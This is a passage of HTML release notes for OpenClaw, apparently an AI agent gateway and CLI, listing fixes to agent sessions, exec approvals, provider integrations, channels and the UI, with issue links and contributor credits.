<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290747635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68944/hovercard" href="https://github.com/openclaw/openclaw/issues/68944">#68944</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500376302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85253/hovercard" href="https://github.com/openclaw/openclaw/pull/85253">#85253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499543395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85193" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85193/hovercard" href="https://github.com/openclaw/openclaw/issues/85193">#85193</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499683212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85204/hovercard" href="https://github.com/openclaw/openclaw/pull/85204">#85204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297018430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69386/hovercard" href="https://github.com/openclaw/openclaw/issues/69386">#69386</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499556034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85194/hovercard" href="https://github.com/openclaw/openclaw/pull/85194">#85194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328934502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71710/hovercard" href="https://github.com/openclaw/openclaw/issues/71710">#71710</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482298414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84381/hovercard" href="https://github.com/openclaw/openclaw/pull/84381">#84381</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482924887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84417/hovercard" href="https://github.com/openclaw/openclaw/pull/84417">#84417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499593497" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85197/hovercard" href="https://github.com/openclaw/openclaw/issues/85197">#85197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499597293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85198/hovercard" href="https://github.com/openclaw/openclaw/pull/85198">#85198</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499909774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85227" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85227/hovercard" href="https://github.com/openclaw/openclaw/pull/85227">#85227</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>fix: constrain Windows task script names [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497094133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85064/hovercard" href="https://github.com/openclaw/openclaw/pull/85064">#85064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499767279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85211/hovercard" href="https://github.com/openclaw/openclaw/pull/85211">#85211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078181831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47229/hovercard" href="https://github.com/openclaw/openclaw/issues/47229">#47229</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463230716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83063" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83063/hovercard" href="https://github.com/openclaw/openclaw/pull/83063">#83063</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506085390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85541/hovercard" href="https://github.com/openclaw/openclaw/pull/85541">#85541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495920076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85007/hovercard" href="https://github.com/openclaw/openclaw/pull/85007">#85007</a>)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499385810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85185/hovercard" href="https://github.com/openclaw/openclaw/pull/85185">#85185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498501242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85121/hovercard" href="https://github.com/openclaw/openclaw/pull/85121">#85121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471527952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83722/hovercard" href="https://github.com/openclaw/openclaw/pull/83722">#83722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498172824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85110/hovercard" href="https://github.com/openclaw/openclaw/pull/85110">#85110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83348/hovercard" href="https://github.com/openclaw/openclaw/pull/83348">#83348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496213314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85022/hovercard" href="https://github.com/openclaw/openclaw/pull/85022">#85022</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501936678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85310" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85310/hovercard" href="https://github.com/openclaw/openclaw/issues/85310">#85310</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502712735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85357/hovercard" href="https://github.com/openclaw/openclaw/pull/85357">#85357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290563726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68916/hovercard" href="https://github.com/openclaw/openclaw/issues/68916">#68916</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499486658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85190/hovercard" href="https://github.com/openclaw/openclaw/pull/85190">#85190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506017461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85534/hovercard" href="https://github.com/openclaw/openclaw/pull/85534">#85534</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4426401117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80886/hovercard" href="https://github.com/openclaw/openclaw/pull/80886">#80886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496893143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85054/hovercard" href="https://github.com/openclaw/openclaw/pull/85054">#85054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464921339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83262/hovercard" href="https://github.com/openclaw/openclaw/pull/83262">#83262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492410818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84859" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84859/hovercard" href="https://github.com/openclaw/openclaw/issues/84859">#84859</a>.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4434938350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81296/hovercard" href="https://github.com/openclaw/openclaw/pull/81296">#81296</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492092367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84837/hovercard" href="https://github.com/openclaw/openclaw/pull/84837">#84837</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474791588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84006/hovercard" href="https://github.com/openclaw/openclaw/pull/84006">#84006</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480467537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84285/hovercard" href="https://github.com/openclaw/openclaw/pull/84285">#84285</a>)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430383114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81069/hovercard" href="https://github.com/openclaw/openclaw/pull/81069">#81069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496517336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85037/hovercard" href="https://github.com/openclaw/openclaw/pull/85037">#85037</a>)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478478934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84185/hovercard" href="https://github.com/openclaw/openclaw/issues/84185">#84185</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84190/hovercard" href="https://github.com/openclaw/openclaw/pull/84190">#84190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446719061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81837/hovercard" href="https://github.com/openclaw/openclaw/issues/81837">#81837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448375153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81886/hovercard" href="https://github.com/openclaw/openclaw/pull/81886">#81886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093339126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49577/hovercard" href="https://github.com/openclaw/openclaw/issues/49577">#49577</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334434847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72724/hovercard" href="https://github.com/openclaw/openclaw/pull/72724">#72724</a>)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492687433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84875/hovercard" href="https://github.com/openclaw/openclaw/issues/84875">#84875</a>.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491152950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84762/hovercard" href="https://github.com/openclaw/openclaw/pull/84762">#84762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484831985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84516/hovercard" href="https://github.com/openclaw/openclaw/issues/84516">#84516</a>.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484261445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84492/hovercard" href="https://github.com/openclaw/openclaw/issues/84492">#84492</a>.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463833833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83134" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83134/hovercard" href="https://github.com/openclaw/openclaw/issues/83134">#83134</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465313833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83317/hovercard" href="https://github.com/openclaw/openclaw/pull/83317">#83317</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
